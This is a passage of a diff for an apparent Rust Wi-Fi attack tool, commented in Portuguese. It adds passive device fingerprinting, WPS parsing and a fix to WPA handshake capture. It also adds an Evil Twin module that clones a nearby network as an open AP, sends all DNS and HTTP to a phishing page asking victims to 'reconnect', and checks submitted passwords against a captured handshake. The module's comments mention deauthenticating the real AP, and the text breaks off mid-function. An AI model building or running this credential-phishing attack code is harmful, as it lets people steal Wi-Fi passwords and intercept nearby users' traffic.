|| s.contains("ios")
|
||||
|| s.contains("darwin") && s.contains("mobile")
|
||||
{
|
||||
"iOS"
|
||||
} else if s.contains("mac os x") || s.contains("macintosh") || s.contains("macos") {
|
||||
"macOS"
|
||||
} else if s.contains("android") {
|
||||
"Android"
|
||||
} else if s.contains("cros") || s.contains("chromeos") {
|
||||
"ChromeOS"
|
||||
} else if s.contains("tizen") {
|
||||
"Tizen"
|
||||
} else if s.contains("webos") {
|
||||
"webOS"
|
||||
} else if s.contains("roku") {
|
||||
"Roku OS"
|
||||
} else if s.contains("linux")
|
||||
|| s.contains("ubuntu")
|
||||
|| s.contains("debian")
|
||||
|| s.contains("raspbian")
|
||||
{
|
||||
"Linux"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
Some(os.to_string())
|
||||
}
|
||||
|
||||
pub(crate) fn device_from_text(text: &str) -> Option<String> {
|
||||
let s = text.to_ascii_lowercase();
|
||||
let device = if s.contains("iphone")
|
||||
|| s.contains("galaxy")
|
||||
|| s.contains("pixel")
|
||||
|| s.contains("redmi")
|
||||
|| s.contains("smartphone")
|
||||
|| s.contains("phone")
|
||||
|| s.contains("moto ")
|
||||
{
|
||||
"smartphone"
|
||||
} else if s.contains("ipad") || s.contains("tablet") {
|
||||
"tablet"
|
||||
} else if s.contains("macbook")
|
||||
|| s.contains("thinkpad")
|
||||
|| s.contains("laptop")
|
||||
|| s.contains("notebook")
|
||||
{
|
||||
"laptop"
|
||||
} else if s.contains("printer")
|
||||
|| s.contains("laserjet")
|
||||
|| s.contains("officejet")
|
||||
|| s.contains("mfc-")
|
||||
{
|
||||
"impressora"
|
||||
} else if s.contains("chromecast")
|
||||
|| s.contains("appletv")
|
||||
|| s.contains("fire tv")
|
||||
|| s.contains("firetv")
|
||||
|| s.contains("roku")
|
||||
|| s.contains("smart tv")
|
||||
|| s.contains("bravia")
|
||||
|| s.contains("tv")
|
||||
{
|
||||
"TV/streaming"
|
||||
} else if s.contains("camera") || s.contains("câmera") || s.contains("ipc") {
|
||||
"câmera"
|
||||
} else if s.contains("watch") {
|
||||
"wearable"
|
||||
} else if s.contains("echo")
|
||||
|| s.contains("alexa")
|
||||
|| s.contains("google home")
|
||||
|| s.contains("nest")
|
||||
{
|
||||
"assistente"
|
||||
} else if s.contains("raspberry") {
|
||||
"SBC"
|
||||
} else if s.contains("esp32")
|
||||
|| s.contains("esp8266")
|
||||
|| s.contains("shelly")
|
||||
|| s.contains("sonoff")
|
||||
|| s.contains("tuya")
|
||||
{
|
||||
"IoT"
|
||||
} else if s.contains("desktop")
|
||||
|| s.contains("laptop")
|
||||
|| s.contains("windows")
|
||||
|| s.contains("pc")
|
||||
{
|
||||
"computador"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
Some(device.to_string())
|
||||
}
|
||||
|
||||
fn device_from_service(service: &str) -> Option<String> {
|
||||
let s = service.to_ascii_lowercase();
|
||||
let device = if s.contains("_airplay")
|
||||
|| s.contains("_raop")
|
||||
|| s.contains("_googlecast")
|
||||
|| s.contains("_spotify-connect")
|
||||
{
|
||||
"TV/streaming"
|
||||
} else if s.contains("_ipp") || s.contains("_printer") || s.contains("_pdl-datastream") {
|
||||
"impressora"
|
||||
} else if s.contains("_smb") || s.contains("_workstation") || s.contains("_device-info") {
|
||||
"computador"
|
||||
} else if s.contains("_homekit") || s.contains("_hap") {
|
||||
"IoT"
|
||||
} else if s.contains("_ssh") || s.contains("_sftp-ssh") {
|
||||
"servidor"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
Some(device.to_string())
|
||||
}
|
||||
|
||||
fn manufacturer_from_text(text: &str) -> Option<String> {
|
||||
let s = text.to_ascii_lowercase();
|
||||
let name = if s.contains("apple") {
|
||||
"Apple"
|
||||
} else if s.contains("samsung") {
|
||||
"Samsung"
|
||||
} else if s.contains("microsoft") || s.contains("windows") {
|
||||
"Microsoft"
|
||||
} else if s.contains("google") {
|
||||
"Google"
|
||||
} else if s.contains("sony") {
|
||||
"Sony"
|
||||
} else if s.contains("lg electronics") || s.starts_with("lg ") {
|
||||
"LG"
|
||||
} else if s.contains("roku") {
|
||||
"Roku"
|
||||
} else if s.contains("huawei") {
|
||||
"Huawei"
|
||||
} else if s.contains("xiaomi") {
|
||||
"Xiaomi"
|
||||
} else if s.contains("synology") {
|
||||
"Synology"
|
||||
} else if s.contains("raspberry") {
|
||||
"Raspberry Pi"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
Some(name.to_string())
|
||||
}
|
||||
|
||||
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
|
||||
@@ -441,6 +1096,47 @@ fn classify(rsn_present: bool, wpa1_present: bool, privacy: bool, rsn: RsnInfo)
|
||||
Security::Open
|
||||
}
|
||||
|
||||
fn add_phy(phy: &mut Vec<String>, value: &str) {
|
||||
if !phy.iter().any(|p| p == value) {
|
||||
phy.push(value.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
/// Information Element de WPS (vendor 00:50:f2 tipo 4). O conteúdo começa
|
||||
/// com a versão do protocolo e segue em atributos TLV de 16 bits.
|
||||
fn parse_wps(val: &[u8], info: &mut ManagementInfo) {
|
||||
if val.len() < 6 {
|
||||
return;
|
||||
}
|
||||
let version = u16::from_be_bytes([val[4], val[5]]);
|
||||
info.wps_version = Some(match version {
|
||||
0x10 => "1.0".into(),
|
||||
0x11 => "2.0".into(),
|
||||
other => format!("0x{other:04x}"),
|
||||
});
|
||||
let mut pos = 6usize;
|
||||
while pos + 4 <= val.len() {
|
||||
let attr = u16::from_be_bytes([val[pos], val[pos + 1]]);
|
||||
let len = u16::from_be_bytes([val[pos + 2], val[pos + 3]]) as usize;
|
||||
let start = pos + 4;
|
||||
if start + len > val.len() {
|
||||
break;
|
||||
}
|
||||
let data = &val[start..start + len];
|
||||
let text = || String::from_utf8_lossy(data).trim().to_string();
|
||||
match attr {
|
||||
0x1011 => info.wps_device_name = Some(text()),
|
||||
0x1021 => info.wps_manufacturer = Some(text()),
|
||||
0x1023 => info.wps_model = Some(text()),
|
||||
0x1024 => info.wps_model_number = Some(text()),
|
||||
0x1042 => info.wps_serial = Some(text()),
|
||||
0x1057 if len == 1 => info.wps_locked = Some(data[0] != 0),
|
||||
_ => {}
|
||||
}
|
||||
pos = start + len;
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
|
||||
if val.len() < 8 {
|
||||
return None;
|
||||
@@ -665,6 +1361,116 @@ mod tests {
|
||||
assert!(parsed.eapol().is_none());
|
||||
}
|
||||
|
||||
fn data_with_ethertype(ethertype: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut f = Vec::new();
|
||||
f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&mac(0x11)); // addr1 = AP
|
||||
f.extend_from_slice(&mac(0x22)); // addr2 = cliente
|
||||
f.extend_from_slice(&mac(0x11)); // addr3 = AP
|
||||
f.extend_from_slice(&[0u8; 2]);
|
||||
f.extend_from_slice(&[0xAA, 0xAA, 0x03, 0, 0, 0]);
|
||||
f.extend_from_slice(ðertype.to_be_bytes());
|
||||
f.extend_from_slice(payload);
|
||||
f
|
||||
}
|
||||
|
||||
fn data_with_payload(payload: &[u8]) -> Vec<u8> {
|
||||
data_with_ethertype(0x0800, payload)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_ip_from_arp() {
|
||||
let mut arp = Vec::new();
|
||||
arp.extend_from_slice(&1u16.to_be_bytes());
|
||||
arp.extend_from_slice(&0x0800u16.to_be_bytes());
|
||||
arp.push(6);
|
||||
arp.push(4);
|
||||
arp.extend_from_slice(&1u16.to_be_bytes());
|
||||
arp.extend_from_slice(&mac(0x22));
|
||||
arp.extend_from_slice(&[192, 168, 1, 42]);
|
||||
arp.extend_from_slice(&[0u8; 6]);
|
||||
arp.extend_from_slice(&[192, 168, 1, 1]);
|
||||
let frame = data_with_ethertype(0x0806, &arp);
|
||||
let parsed = parse(&frame).expect("frame");
|
||||
assert_eq!(parsed.payload_info().ip.as_deref(), Some("192.168.1.42"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_hostname_and_os_from_mdns() {
|
||||
let mut dns = vec![0u8; 12];
|
||||
dns[5] = 1; // qdcount
|
||||
for label in ["Lucass-iPhone", "local"] {
|
||||
dns.push(label.len() as u8);
|
||||
dns.extend_from_slice(label.as_bytes());
|
||||
}
|
||||
dns.push(0);
|
||||
dns.extend_from_slice(&1u16.to_be_bytes());
|
||||
dns.extend_from_slice(&1u16.to_be_bytes());
|
||||
|
||||
let mut udp = Vec::new();
|
||||
udp.extend_from_slice(&5353u16.to_be_bytes());
|
||||
udp.extend_from_slice(&5353u16.to_be_bytes());
|
||||
udp.extend_from_slice(&((8 + dns.len()) as u16).to_be_bytes());
|
||||
udp.extend_from_slice(&[0u8; 2]);
|
||||
udp.extend_from_slice(&dns);
|
||||
|
||||
let mut ip = vec![0x45, 0];
|
||||
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
|
||||
ip.extend_from_slice(&[0u8; 5]);
|
||||
ip.push(17);
|
||||
ip.extend_from_slice(&[0u8; 2]);
|
||||
ip.extend_from_slice(&[192, 168, 1, 7]);
|
||||
ip.extend_from_slice(&[224, 0, 0, 251]);
|
||||
ip.extend_from_slice(&udp);
|
||||
|
||||
let frame = data_with_payload(&ip);
|
||||
let parsed = parse(&frame).expect("frame");
|
||||
let info = parsed.payload_info();
|
||||
assert_eq!(info.hostname.as_deref(), Some("Lucass-iPhone"));
|
||||
assert_eq!(info.os.as_deref(), Some("iOS"));
|
||||
assert_eq!(info.device.as_deref(), Some("smartphone"));
|
||||
assert_eq!(info.ip.as_deref(), Some("192.168.1.7"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_hostname_and_requested_ip_from_dhcp() {
|
||||
let mut bootp = vec![0u8; 240];
|
||||
bootp[0] = 1;
|
||||
bootp[236..240].copy_from_slice(&[0x63, 0x82, 0x53, 0x63]);
|
||||
bootp.extend_from_slice(&[53, 1, 3]);
|
||||
bootp.extend_from_slice(&[50, 4, 192, 168, 1, 50]);
|
||||
bootp.extend_from_slice(&[12, 7]);
|
||||
bootp.extend_from_slice(b"pixel-7");
|
||||
bootp.extend_from_slice(&[60, 15]);
|
||||
bootp.extend_from_slice(b"android-dhcp-13");
|
||||
bootp.push(255);
|
||||
|
||||
let mut udp = Vec::new();
|
||||
udp.extend_from_slice(&68u16.to_be_bytes());
|
||||
udp.extend_from_slice(&67u16.to_be_bytes());
|
||||
udp.extend_from_slice(&((8 + bootp.len()) as u16).to_be_bytes());
|
||||
udp.extend_from_slice(&[0u8; 2]);
|
||||
udp.extend_from_slice(&bootp);
|
||||
|
||||
let mut ip = vec![0x45, 0];
|
||||
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
|
||||
ip.extend_from_slice(&[0u8; 5]);
|
||||
ip.push(17);
|
||||
ip.extend_from_slice(&[0u8; 2]);
|
||||
ip.extend_from_slice(&[0, 0, 0, 0]);
|
||||
ip.extend_from_slice(&[255, 255, 255, 255]);
|
||||
ip.extend_from_slice(&udp);
|
||||
|
||||
let frame = data_with_payload(&ip);
|
||||
let parsed = parse(&frame).expect("frame");
|
||||
let info = parsed.payload_info();
|
||||
assert_eq!(info.hostname.as_deref(), Some("pixel-7"));
|
||||
assert_eq!(info.os.as_deref(), Some("Android"));
|
||||
assert_eq!(info.device.as_deref(), Some("smartphone"));
|
||||
assert_eq!(info.ip.as_deref(), Some("192.168.1.50"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parses_mac_strings() {
|
||||
assert_eq!(
|
||||
|
||||
@@ -55,7 +55,14 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
|
||||
if descriptor_type != 2 && descriptor_type != 254 {
|
||||
return None;
|
||||
}
|
||||
let key_info = u16::from_le_bytes([frame[5], frame[6]]);
|
||||
// Todo campo multi-byte do descritor EAPOL-Key (Key Information, Key
|
||||
// Length, Replay Counter, Key Data Length) é big-endian — é 802.1X,
|
||||
// segue a mesma ordem de rede do cabeçalho EAPOL em si. Ler como
|
||||
// little-endian (bug anterior) embaralhava os bits de ack/mic/secure e
|
||||
// fazia praticamente todo handshake real cair em message=0, descartado
|
||||
// silenciosamente — só não aparecia nos testes porque o gerador de
|
||||
// quadro sintético cometia o mesmo engano, simetricamente.
|
||||
let key_info = u16::from_be_bytes([frame[5], frame[6]]);
|
||||
let key_version = (key_info & 0x0007) as u8;
|
||||
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
|
||||
let ack = key_info & KEY_INFO_ACK != 0;
|
||||
@@ -75,12 +82,12 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
|
||||
0
|
||||
};
|
||||
|
||||
let replay_counter = u64::from_le_bytes(frame[9..17].try_into().ok()?);
|
||||
let replay_counter = u64::from_be_bytes(frame[9..17].try_into().ok()?);
|
||||
let mut nonce = [0u8; 32];
|
||||
nonce.copy_from_slice(&frame[17..49]);
|
||||
let mut mic_bytes = [0u8; 16];
|
||||
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
|
||||
let key_data_len = u16::from_le_bytes([frame[97], frame[98]]) as usize;
|
||||
let key_data_len = u16::from_be_bytes([frame[97], frame[98]]) as usize;
|
||||
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
|
||||
if data_end > frame.len() {
|
||||
return None;
|
||||
@@ -144,14 +151,14 @@ mod tests {
|
||||
f[1] = EAPOL_TYPE_KEY;
|
||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||
f[4] = 2; // RSN descriptor
|
||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
||||
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||
f[17..49].copy_from_slice(&nonce);
|
||||
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
|
||||
*b = i as u8;
|
||||
}
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||
f
|
||||
}
|
||||
@@ -176,6 +183,32 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// Byte a byte, independente do helper `key_frame` (que usa a mesma
|
||||
/// codificação do parser): confere que um quadro Mensagem 1 real — key
|
||||
/// info 0x008a (Ack=1, versão CCMP=2, pairwise), big-endian como é no
|
||||
/// fio de verdade — é lido como message=1/key_version=2, não message=0.
|
||||
/// É exatamente o valor citado pela documentação de ferramentas de
|
||||
/// quebra de WPA pra mensagem 1 com CCMP.
|
||||
#[test]
|
||||
fn parses_real_wire_message1_key_info_as_big_endian() {
|
||||
let mut frame = vec![0u8; MIN_KEY_FRAME_LEN];
|
||||
frame[0] = 2; // versão EAPOL
|
||||
frame[1] = EAPOL_TYPE_KEY;
|
||||
frame[2..4].copy_from_slice(&((MIN_KEY_FRAME_LEN - 4) as u16).to_be_bytes());
|
||||
frame[4] = 2; // descritor RSN
|
||||
frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, versão=2(CCMP), pairwise=1
|
||||
frame[7..9].copy_from_slice(&16u16.to_be_bytes()); // key length
|
||||
frame[9..17].copy_from_slice(&1u64.to_be_bytes()); // replay counter
|
||||
frame[17..49].fill(0xaa); // nonce
|
||||
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // sem key data
|
||||
|
||||
let parsed = parse(&frame).expect("mensagem 1 real deveria parsear");
|
||||
assert_eq!(parsed.message, 1);
|
||||
assert_eq!(parsed.key_version, 2);
|
||||
assert!(parsed.pairwise);
|
||||
assert_eq!(parsed.replay_counter, 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_pmkid_from_key_data() {
|
||||
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
|
||||
|
||||
+2578
-23
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,472 @@
|
||||
//! Evil Twin + portal cativo: clona um AP já visto na captura (SSID aberto,
|
||||
//! sem senha) pra atrair os clientes reais — em paralelo com desautenticação
|
||||
//! contínua do AP verdadeiro, que já existe no engine — e pede a senha de
|
||||
//! verdade por uma página de "reconectar", como qualquer portal cativo de
|
||||
//! hotel/aeroporto faz.
|
||||
//!
|
||||
//! A diferença pro phishing comum: a senha digitada **nunca é aceita de
|
||||
//! graça**. É conferida na hora contra o handshake real já capturado
|
||||
//! ([`crate::crack::CrackTarget::verify`], o mesmo MIC criptográfico usado
|
||||
//! na quebra por dicionário) — só confirma "conectado" quando a senha bate
|
||||
//! de verdade com a rede. Isso também evita que a página vire um jeito de
|
||||
//! coletar qualquer string digitada: ela só diz "certo" pra senha certa.
|
||||
//!
|
||||
//! Só funciona contra um AP que já apareceu na sessão de captura atual (não
|
||||
//! dá pra apontar pra uma rede nunca vista) e exige a mesma autorização
|
||||
//! explícita das outras abas de ataque.
|
||||
|
||||
use crate::crack::CrackTarget;
|
||||
use std::fmt::Write as _;
|
||||
|
||||
/// Config do hostapd pro AP clone: aberto (sem criptografia) de propósito —
|
||||
/// é o portal cativo que pede a senha, não o rádio. Praticamente todo
|
||||
/// cliente com "lembrar essa rede" conecta sozinho numa rede aberta com o
|
||||
/// SSID certo, sem perguntar nada ao usuário.
|
||||
pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>) -> String {
|
||||
let mut out = String::new();
|
||||
let _ = writeln!(out, "interface={iface}");
|
||||
let _ = writeln!(out, "driver=nl80211");
|
||||
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
|
||||
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
|
||||
let _ = writeln!(out, "channel={channel}");
|
||||
let _ = writeln!(out, "auth_algs=1");
|
||||
let _ = writeln!(out, "wmm_enabled=1");
|
||||
let _ = writeln!(out, "ignore_broadcast_ssid=0");
|
||||
if let Some(bssid) = bssid {
|
||||
let _ = writeln!(out, "bssid={bssid}");
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
/// Config do dnsmasq: DHCP na sub-rede do AP clone + DNS que resolve
|
||||
/// **tudo** pro próprio gateway, inclusive os domínios que Android/iOS/
|
||||
/// Windows usam pra detectar portal cativo (é o que faz o popup de login
|
||||
/// abrir sozinho no dispositivo da vítima).
|
||||
pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) -> String {
|
||||
let mut out = String::new();
|
||||
let _ = writeln!(out, "interface={iface}");
|
||||
let _ = writeln!(out, "bind-interfaces");
|
||||
let _ = writeln!(out, "dhcp-range={},{},12h", dhcp_range.0, dhcp_range.1);
|
||||
let _ = writeln!(out, "dhcp-option=3,{gateway_ip}"); // gateway
|
||||
let _ = writeln!(out, "dhcp-option=6,{gateway_ip}"); // DNS
|
||||
let _ = writeln!(out, "address=/#/{gateway_ip}"); // resolve tudo pra nós
|
||||
let _ = writeln!(out, "no-resolv");
|
||||
out
|
||||
}
|
||||
|
||||
/// Regras de `iptables` (lista de argumentos, uma regra por linha — cada
|
||||
/// `Vec<String>` é um `iptables <args>`) pra mandar todo HTTP da sub-rede do
|
||||
/// AP clone pro servidor do portal cativo, nessa máquina. Sem NAT pra
|
||||
/// internet de propósito — o clone nunca dá acesso de verdade, só o portal.
|
||||
pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
|
||||
let redirect = |proto: &str, dport: u16| {
|
||||
vec![
|
||||
"-t".into(),
|
||||
"nat".into(),
|
||||
"-A".into(),
|
||||
"PREROUTING".into(),
|
||||
"-i".into(),
|
||||
iface.into(),
|
||||
"-p".into(),
|
||||
proto.into(),
|
||||
"--dport".into(),
|
||||
dport.to_string(),
|
||||
"-j".into(),
|
||||
"REDIRECT".into(),
|
||||
"--to-port".into(),
|
||||
portal_port.to_string(),
|
||||
]
|
||||
};
|
||||
vec![redirect("tcp", 80)]
|
||||
}
|
||||
|
||||
/// As mesmas regras, pra desfazer (`-D` em vez de `-A`) ao parar o job.
|
||||
pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
|
||||
iptables_rules(iface, portal_port)
|
||||
.into_iter()
|
||||
.map(|mut rule| {
|
||||
if let Some(a) = rule.iter_mut().find(|a| *a == "-A") {
|
||||
*a = "-D".into();
|
||||
}
|
||||
rule
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn sanitize_conf_value(value: &str) -> String {
|
||||
// hostapd.conf não escapa valores — corta quebra de linha, que seria
|
||||
// injeção de outra diretiva de config.
|
||||
value.replace(['\n', '\r'], "")
|
||||
}
|
||||
|
||||
/// Resultado de uma tentativa de login no portal.
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum PortalAttempt {
|
||||
/// Senha bateu com o handshake real — confirmado criptograficamente,
|
||||
/// não é só "aceitar o que a pessoa digitou".
|
||||
Correct,
|
||||
WrongPassword,
|
||||
/// Comprimento fora de 8–63: nem vale a pena gastar um PBKDF2 nisso.
|
||||
InvalidLength,
|
||||
}
|
||||
|
||||
/// Confere a senha submetida no portal contra o handshake real do alvo —
|
||||
/// mesma verificação criptográfica usada na quebra por dicionário
|
||||
/// ([`crate::crack::CrackTarget::verify`]). O portal só mostra "conectado"
|
||||
/// quando isso bate; do contrário, pede de novo, exatamente como um portal
|
||||
/// cativo legítimo faria com uma senha errada.
|
||||
pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
|
||||
if !(8..=63).contains(&password.len()) {
|
||||
return PortalAttempt::InvalidLength;
|
||||
}
|
||||
if target.verify(password) {
|
||||
PortalAttempt::Correct
|
||||
} else {
|
||||
PortalAttempt::WrongPassword
|
||||
}
|
||||
}
|
||||
|
||||
/// Página de login do portal — pede a senha da rede clonada. Texto genérico
|
||||
/// de "reconectar à rede", sem imitar nenhuma marca específica.
|
||||
pub fn portal_login_html(ssid: &str, wrong_password: bool) -> String {
|
||||
let notice = if wrong_password {
|
||||
r#"<p class="err">Senha incorreta. Tente de novo.</p>"#
|
||||
} else {
|
||||
""
|
||||
};
|
||||
format!(
|
||||
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>Conectar à rede</title>
|
||||
<style>
|
||||
body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;display:flex;
|
||||
align-items:center;justify-content:center;min-height:100vh;margin:0}}
|
||||
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}
|
||||
h1{{font-size:18px;margin:0 0 6px}}
|
||||
p.sub{{color:#999;font-size:13px;margin:0 0 18px}}
|
||||
p.err{{color:#ff6961;font-size:13px}}
|
||||
input{{width:100%;box-sizing:border-box;padding:12px;border-radius:10px;border:0;
|
||||
background:#2c2c2e;color:#eee;font-size:15px;margin-bottom:12px}}
|
||||
button{{width:100%;padding:12px;border-radius:10px;border:0;background:#f59e0b;
|
||||
color:#1f1300;font-weight:600;font-size:15px}}
|
||||
</style></head><body>
|
||||
<form class="card" method="post" action="/connect">
|
||||
<h1>Reconectar a “{ssid}”</h1>
|
||||
<p class="sub">A sessão expirou. Digite a senha da rede Wi-Fi pra continuar conectado.</p>
|
||||
{notice}
|
||||
<input type="password" name="password" placeholder="Senha da rede" autofocus required minlength="8" maxlength="63">
|
||||
<button type="submit">Conectar</button>
|
||||
</form>
|
||||
</body></html>"#,
|
||||
ssid = html_escape(ssid),
|
||||
notice = notice,
|
||||
)
|
||||
}
|
||||
|
||||
pub fn portal_success_html(ssid: &str) -> String {
|
||||
format!(
|
||||
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<title>Conectado</title>
|
||||
<style>body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;
|
||||
display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;text-align:center}}
|
||||
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}</style>
|
||||
</head><body><div class="card"><h1>Conectado</h1><p>Você já está conectado a “{ssid}”.</p></div></body></html>"#,
|
||||
ssid = html_escape(ssid),
|
||||
)
|
||||
}
|
||||
|
||||
/// Servidor HTTP minúsculo do portal — sem dependência nova, não precisa
|
||||
/// ser um servidor de verdade, só responder GET (qualquer caminho vira a
|
||||
/// página de login, o que também satisfaz a detecção de portal cativo do
|
||||
/// Android/iOS/Windows) e POST /connect (lê `password=...` do corpo e
|
||||
/// confere contra o handshake real). Roda até achar a senha certa, o `stop`
|
||||
/// virar true, ou o accept falhar.
|
||||
#[cfg(target_os = "linux")]
|
||||
pub fn run_portal(
|
||||
listener: std::net::TcpListener,
|
||||
ssid: &str,
|
||||
target: &CrackTarget,
|
||||
stop: &std::sync::atomic::AtomicBool,
|
||||
mut on_attempt: impl FnMut(PortalAttempt),
|
||||
) -> Option<String> {
|
||||
use std::sync::atomic::Ordering;
|
||||
use std::time::Duration;
|
||||
|
||||
listener.set_nonblocking(true).ok();
|
||||
loop {
|
||||
if stop.load(Ordering::Relaxed) {
|
||||
return None;
|
||||
}
|
||||
match listener.accept() {
|
||||
Ok((stream, _)) => {
|
||||
if let Some(password) = handle_connection(stream, ssid, target, &mut on_attempt) {
|
||||
return Some(password);
|
||||
}
|
||||
}
|
||||
Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {
|
||||
std::thread::sleep(Duration::from_millis(80));
|
||||
}
|
||||
Err(_) => return None,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
fn handle_connection(
|
||||
mut stream: std::net::TcpStream,
|
||||
ssid: &str,
|
||||
target: &CrackTarget,
|
||||
on_attempt: &mut impl FnMut(PortalAttempt),
|
||||
) -> Option<String> {
|
||||
use std::io::{Read, Write};
|
||||
|
||||
stream
|
||||
.set_read_timeout(Some(std::time::Duration::from_secs(5)))
|
||||
.ok();
|
||||
let mut buf = vec![0u8; 8192];
|
||||
let mut total = 0usize;
|
||||
// Lê até achar o fim dos cabeçalhos — suficiente pros requests curtos
|
||||
// que um navegador manda pra um form simples.
|
||||
loop {
|
||||
let n = stream.read(&mut buf[total..]).ok()?;
|
||||
if n == 0 {
|
||||
break;
|
||||
}
|
||||
total += n;
|
||||
if buf[..total].windows(4).any(|w| w == b"\r\n\r\n") || total >= buf.len() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
let request = String::from_utf8_lossy(&buf[..total]);
|
||||
let mut lines = request.lines();
|
||||
let request_line = lines.next().unwrap_or("");
|
||||
let mut parts = request_line.split_whitespace();
|
||||
let method = parts.next().unwrap_or("GET");
|
||||
let path = parts.next().unwrap_or("/");
|
||||
|
||||
let mut content_length = 0usize;
|
||||
for line in request.lines() {
|
||||
if let Some(v) = line
|
||||
.to_ascii_lowercase()
|
||||
.strip_prefix("content-length:")
|
||||
.map(str::trim)
|
||||
.and_then(|v| v.parse::<usize>().ok())
|
||||
{
|
||||
content_length = v;
|
||||
}
|
||||
}
|
||||
|
||||
let mut found_password = None;
|
||||
let body = if method == "POST" && path.starts_with("/connect") {
|
||||
let header_end = request.find("\r\n\r\n").map(|i| i + 4).unwrap_or(total);
|
||||
let body_bytes = &buf[header_end..total.min(header_end + content_length)];
|
||||
let form = String::from_utf8_lossy(body_bytes);
|
||||
let password = form_value(&form, "password").unwrap_or_default();
|
||||
let attempt = check_submission(target, &password);
|
||||
on_attempt(attempt.clone());
|
||||
match attempt {
|
||||
PortalAttempt::Correct => {
|
||||
found_password = Some(password);
|
||||
portal_success_html(ssid)
|
||||
}
|
||||
PortalAttempt::WrongPassword | PortalAttempt::InvalidLength => {
|
||||
portal_login_html(ssid, true)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
portal_login_html(ssid, false)
|
||||
};
|
||||
|
||||
let response = format!(
|
||||
"HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
|
||||
body.len()
|
||||
);
|
||||
let _ = stream.write_all(response.as_bytes());
|
||||
found_password
|
||||
}
|
||||
|
||||
/// Lê `chave=valor` de um corpo `application/x-www-form-urlencoded` simples
|
||||
/// (sem libs extra — é um único campo de senha, não vale a pena puxar uma
|
||||
/// crate de parsing de formulário por causa disso).
|
||||
fn form_value(body: &str, key: &str) -> Option<String> {
|
||||
body.split('&').find_map(|pair| {
|
||||
let (k, v) = pair.split_once('=')?;
|
||||
if k == key {
|
||||
Some(url_decode(v))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
fn url_decode(s: &str) -> String {
|
||||
let bytes = s.as_bytes();
|
||||
let mut out = Vec::with_capacity(bytes.len());
|
||||
let mut i = 0;
|
||||
while i < bytes.len() {
|
||||
match bytes[i] {
|
||||
b'+' => {
|
||||
out.push(b' ');
|
||||
i += 1;
|
||||
}
|
||||
b'%' if i + 2 < bytes.len() => {
|
||||
let hex = std::str::from_utf8(&bytes[i + 1..i + 3]).ok();
|
||||
if let Some(byte) = hex.and_then(|h| u8::from_str_radix(h, 16).ok()) {
|
||||
